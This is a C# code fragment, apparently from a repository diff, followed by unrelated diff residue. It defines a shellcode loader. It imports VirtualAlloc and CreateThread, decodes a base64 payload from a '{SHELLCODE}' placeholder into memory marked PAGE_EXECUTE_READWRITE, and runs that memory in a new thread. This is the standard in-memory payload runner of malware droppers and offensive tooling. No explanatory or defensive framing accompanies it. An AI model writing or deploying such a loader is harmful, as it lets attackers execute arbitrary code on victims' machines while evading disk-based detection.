const uint PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAlloc(
IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr CreateThread(
IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress,
IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
public static bool Execute()
{
byte[] sc = Convert.FromBase64String("{SHELLCODE}");
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)sc.Length,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (addr == IntPtr.Zero) return false;
Marshal.Copy(sc, 0, addr, sc.Length);
uint threadId;
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr,
IntPtr.Zero, 0, out threadId);
if (hThread == IntPtr.Zero) return false;
WaitForSingleObject(hThread, 0xFFFFFFFF);
return true;
}
}
+1
View File
@@ -0,0 +1 @@
semver